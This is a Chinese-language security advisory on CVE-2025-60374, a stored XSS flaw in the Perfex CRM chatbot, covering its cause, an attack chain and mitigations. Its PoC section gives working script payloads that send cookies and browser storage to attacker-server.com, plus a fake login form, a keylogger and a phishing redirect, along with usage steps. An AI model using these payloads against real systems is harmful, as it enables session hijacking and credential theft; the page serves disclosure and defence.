IPBUF安全漏洞报告
English
CVE-2025-60374 CVSS 6.1 中危

CVE-2025-60374 Perfex CRM聊天机器人存储型XSS漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-60374
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Perfex CRM chatbot

相关标签

XSS存储型XSSStored XSS跨站脚本Perfex CRM聊天机器人chatbotCVE-2025-60374中危漏洞客户端攻击

漏洞概述

CVE-2025-60374是Perfex CRM聊天机器人组件中的一个存储型跨站脚本(Stored XSS)漏洞,影响3.3.1之前的所有版本。该漏洞允许未经认证的远程攻击者通过聊天机器人功能注入任意HTML和JavaScript代码。由于是存储型XSS,恶意载荷会被持久化保存在服务器端,每当有合法用户访问或查看聊天内容时,恶意脚本将在受害者浏览器中自动执行。

该漏洞的CVSS 3.1评分为6.1,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),但需要用户交互(UI:R)才能触发。漏洞的影响范围已发生改变(S:C),表明该漏洞可以影响到超出其直接安全域的其他组件。

成功利用此漏洞可能导致客户端代码执行、用户会话令牌(Cookie)窃取、账户劫持、钓鱼攻击以及在受害者权限范围内执行其他恶意操作。此漏洞与CVE-2024-8867为不同的漏洞,表明Perfex CRM聊天机器人在XSS防护方面存在系统性的安全问题。鉴于Perfex CRM作为客户关系管理系统的广泛应用性,此漏洞对使用该系统的企业构成显著的安全风险,可能导致客户数据泄露和业务中断。

技术细节

Perfex CRM聊天机器人在3.3.1版本之前,未对用户输入的聊天消息内容进行充分的输出编码和过滤,导致存储型XSS漏洞的产生。

漏洞原理:
1. 聊天机器人功能接收用户提交的聊天消息,并将消息内容存储到数据库中。
2. 在消息存储过程中,应用程序未对用户输入中的HTML标签和JavaScript代码进行适当的转义或过滤。
3. 当其他用户(包括管理员和普通用户)查看聊天记录时,服务器直接从数据库读取原始内容并嵌入到HTML页面中进行渲染。
4. 浏览器将恶意载荷视为合法的HTML/JavaScript代码并执行。

利用方式:
攻击者无需认证即可通过聊天机器人接口提交包含恶意脚本的消息。典型的攻击载荷包括窃取Cookie的脚本(如document.location='http://attacker.com/steal?c='+document.cookie)、键盘记录器、伪造的登录表单或重定向脚本。由于载荷被持久化存储,任何查看该聊天会话的用户都会受到影响,攻击影响范围会随着时间推移不断扩大。

此漏洞与CVE-2024-8867不同,表明问题可能存在于聊天功能的不同输入字段或处理流程中,需要开发者进行全面的安全审计和修复。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别目标系统使用Perfex CRM且版本低于3.3.1,通过公开信息或扫描确认聊天机器人功能的存在和访问方式。
STEP 2
步骤2:载荷构造
攻击者构造包含恶意JavaScript代码的聊天消息,代码用于窃取Cookie、会话令牌或执行其他客户端恶意操作。
STEP 3
步骤3:载荷注入
攻击者通过聊天机器人接口提交恶意消息,由于无需认证(PR:N),攻击者可以直接发送消息。恶意载荷被存储到服务器数据库中。
STEP 4
步骤4:等待受害者
攻击者等待合法用户(如管理员或其他员工)查看聊天记录或与聊天机器人交互。
STEP 5
步骤5:恶意脚本执行
当受害者查看包含恶意载荷的聊天内容时,浏览器将恶意脚本作为合法代码执行,窃取Cookie、会话令牌或执行其他恶意操作。
STEP 6
步骤6:权限利用
攻击者利用窃取的会话令牌以受害者身份登录系统,获取未授权访问权限,可能导致数据泄露、权限提升或进一步的攻击活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-60374 - Perfex CRM Stored XSS PoC --> <!-- This PoC demonstrates a stored XSS vulnerability in Perfex CRM chatbot (versions < 3.3.1) --> <!-- The malicious payload is submitted through the chatbot interface and stored on the server --> <!-- When other users view the chat, the payload executes in their browser --> <!-- Step 1: Craft the malicious chat message payload --> <!-- The payload steals session cookies and sends them to the attacker's server --> <script> // Steal session cookies var img = new Image(); img.src = 'http://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie); // Exfiltrate sensitive page content fetch('http://attacker-server.com/log', { method: 'POST', body: JSON.stringify({ url: window.location.href, cookies: document.cookie, localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage) }), headers: {'Content-Type': 'application/json'} }); </script> <!-- Alternative payloads for different attack scenarios --> <!-- Payload 2: Fake login form (credential harvesting) --> <form action="http://attacker-server.com/phish" method="POST"> <h3>Session Expired - Please Re-login</h3> <input type="text" name="username" placeholder="Username"/> <input type="password" name="password" placeholder="Password"/> <input type="submit" value="Login"/> </form> <!-- Payload 3: Keylogger --> <script> document.onkeypress = function(e) { var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://attacker-server.com/keylog?key=' + encodeURIComponent(e.key)); xhr.send(); }; </script> <!-- Payload 4: Redirect to phishing page --> <script> window.location.href = 'http://attacker-server.com/phishing'; </script> <!-- Usage Instructions: 1. Inject the payload through Perfex CRM chatbot message input 2. Wait for a victim (admin or user) to view the chat conversation 3. The malicious JavaScript executes automatically in the victim's browser 4. Stolen credentials/cookies can be used to access the CRM system -->

影响范围

Perfex CRM chatbot < 3.3.1

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在Web应用防火墙(WAF)中部署XSS防护规则,过滤常见的恶意脚本标签和事件处理器;2)配置Content Security Policy(CSP),限制内联脚本执行;3)为所有会话Cookie添加HttpOnly和Secure标志,防止JavaScript窃取;4)限制聊天机器人功能的访问权限,仅允许可信用户使用;5)定期清理和审查聊天记录中的可疑内容;6)监控异常的网络请求和数据外传行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表